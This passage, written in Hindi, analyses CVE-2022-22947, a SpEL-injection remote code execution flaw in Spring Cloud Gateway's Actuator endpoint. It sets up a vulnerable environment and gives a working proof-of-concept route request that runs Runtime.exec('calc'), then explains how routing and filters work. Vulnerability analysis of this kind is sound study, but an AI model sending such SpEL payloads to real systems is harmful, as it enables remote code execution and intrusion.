
# CVE-2022-22947 का विस्तृत विश्लेषण और शोषण यह Spring Cloud Gateway में Actuator API के माध्यम से SpEL इंजेक्शन के जरिए होने वाली रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है। इसमें PoC, मेमोरी शेल इंजेक्शन और मूल कारण का विश्लेषण शामिल है।
Spring Cloud Gateway, Spring Cloud का एक नया प्रोजेक्ट है। यह प्रोजेक्ट Spring 5.0, Spring Boot 2.0 और Project Reactor जैसी तकनीकों पर आधारित एक गेटवे है, जिसका उद्देश्य माइक्रोसर्विस आर्किटेक्चर के लिए एक सरल, प्रभावी और एकीकृत API रूटिंग प्रबंधन का तरीका प्रदान करना है। कुछ समय पहले Spring Cloud Gateway में एक घातक RCE CVE सामने आया था। CVE जानकारी के अनुसार, जब एप्लिकेशन Spring Cloud Gateway के Gateway Actuator endpoint को सक्षम और एक्सपोज़ करता है, तो यह रिमोट कोड इंजेक्शन हमले के प्रति संवेदनशील हो जाता है। हमलावर दुर्भावनापूर्ण अनुरोध भेजकर दूरस्थ रूप से कोई भी कोड निष्पादित कर सकता है। वर्तमान में प्रभावित संस्करण इस प्रकार हैं:
इस विश्लेषण का उद्देश्य इस CVE को दोहराकर भेद्यता के सिद्धांत और आगे के शोषण के तरीकों को सीखना है।
निम्नलिखित निर्भरताओं का उपयोग करके एक maven प्रोजेक्ट बनाएं:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
spring boot डिफ़ॉल्ट कॉन्फ़िगरेशन के तहत, केवल health endpoint ही web के लिए खुला होता है, यदि gateway को खोलने की आवश्यकता हो, तो मैन्युअल रूप से कॉन्फ़िगर करना होगा, देखें [आधिकारिक दस्तावेज़](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
निम्नलिखित POC भेजें:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

फिर ```POST /actuator/gateway/refresh``` भेजकर रूट कैश जानकारी रीफ़्रेश करें, जिससे POC ट्रिगर हो सकता है:

## सिद्धांत विश्लेषण
ऊपर दिए गए POC को देखें, सबसे पहले ```POST /actuator/gateway/routes/test2``` के माध्यम से डायनेमिक रूप से एक रूट जोड़ा जाता है। रूट जोड़ने की प्रक्रिया में एक filter होता है जो इनपुट पैरामीटर को संसाधित करते समय उस मान को spel एक्सप्रेशन के रूप में पार्स कर सकता है, और फिर रूट कैश को रीफ़्रेश करने पर POC निष्पादन ट्रिगर होता है।
पहले spring cloud gateway की डायनेमिक रूट कॉन्फ़िगरेशन की कार्यप्रणाली को देखते हैं।
### डायनेमिक रूट कॉन्फ़िगरेशन
spring cloud gateway कोड/कॉन्फ़िगरेशन फ़ाइल के माध्यम से रूट पंजीकृत करने का समर्थन करता है। आधिकारिक वेबसाइट के [demo](https://spring.io/guides/gs/gateway/) को उदाहरण के रूप में लें:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
कॉन्फ़िगरेशन फ़ाइलों का तरीका कोड के समान है:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
इन दोनों तरीकों से जोड़े गए रूट निश्चित (fixed) होते हैं। यदि रूट कॉन्फ़िगरेशन और नियमों को जोड़ना, संशोधित करना या हटाना आवश्यक हो, तो परिवर्तनों को प्रभावी करने के लिए एप्लिकेशन को पुनः आरंभ करना होता है। लेकिन वास्तविक परिदृश्य में, spring cloud gateway सभी ट्रैफ़िक का प्रवेश द्वार होता है, इसलिए सिस्टम की उच्च उपलब्धता सुनिश्चित करना आवश्यक है। इस प्रकार, spring cloud gateway /gateway endpoint को एक्सपोज़ करने के बाद, /gateway/routes के माध्यम से डायनेमिक रूट जानकारी को जोड़ा, हटाया या संशोधित किया जा सकता है, लेकिन इस तरीके की रूट जानकारी केवल मेमोरी में संग्रहीत होती है; सेवा के पुनः आरंभ होते ही नई जोड़ी गई रूट कॉन्फ़िगरेशन जानकारी खो जाती है।
उपरोक्त रूट रजिस्ट्रेशन प्रारूप से देखा जा सकता है कि एक रूट जानकारी में लक्ष्य uri, filter संग्रह और predicates संग्रह शामिल होता है। इनमें predicates, HTTP अनुरोध के किसी भी भाग (अनुरोध हेडर, पैरामीटर) का उपयोग करके अनुरोध मिलान कर सकते हैं। spring cloud gateway में अंतर्निहित route predicate फ़ैक्टरी क्लास कई हैं, जैसे Before, After, Between, Cookie, Header, Host, [Path आदि](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories)।

filter का उपयोग अनुरोध भेजने से पहले या बाद में अनुरोध या प्रतिक्रिया को संशोधित करने के लिए किया जाता है। इसमें भी कई अंतर्निहित filter संग्रह शामिल हैं। ऊपर RCE ट्रिगर करने वाले payload में हमने जिस filter का उपयोग किया वह AddResponseHeader है; अन्य filterों में RewritePath, SetPath आदि हैं। filter दो प्रकार के होते हैं: एक GlobalFilter जो सभी रूटों के लिए प्रभावी होता है, और दूसरा GatewayFilter जो केवल एकल रूट के लिए प्रभावी होता है। अधिक विवरण के लिए https://www.cnblogs.com/duanxz/p/14780675.html देखें।
,
## अनुरोध प्रवाह
तो, एक अनुरोध आने के बाद gateway से होते हुए बैकएंड की proxied service तक पहुँचने की वास्तविक प्रक्रिया कैसी होती है? आधिकारिक दस्तावेज़ में प्रवाह इस प्रकार है:

क्लाइंट Spring Cloud GateWay को अनुरोध भेजता है, फिर GateWay Handler Mapping में अनुरोध से मेल खाने वाला रूट ढूँढकर उसे GateWay Web Handler को भेजा जाता है; Handler फिर निर्दिष्ट फ़िल्टर श्रृंखला के माध्यम से अनुरोध को हमारी वास्तविक सेवा पर भेजकर व्यावसायिक लॉजिक निष्पादित करता है, और फिर वापस लौटता है। फ़िल्टरों के बीच बिंदीदार रेखा इसलिए है क्योंकि फ़िल्टर प्रॉक्सी अनुरोध भेजने से पहले (pre) या बाद में (post) व्यावसायिक लॉजिक निष्पादित कर सकते हैं।
RoutePredicateHandlerMapping रूट का पता लगाता है और फिर webHandler द्वारा प्रसंस्करण किया जाता है:

webHandler में gatewayFilters और globalFilters की पहचान करने के बाद, filter में परिभाषित Order मान के आधार पर क्रमबद्ध करके filterchain बनाई जाती है और सभी filter निष्पादित किए जाते हैं।

### डायनेमिक रूट रजिस्ट्रेशन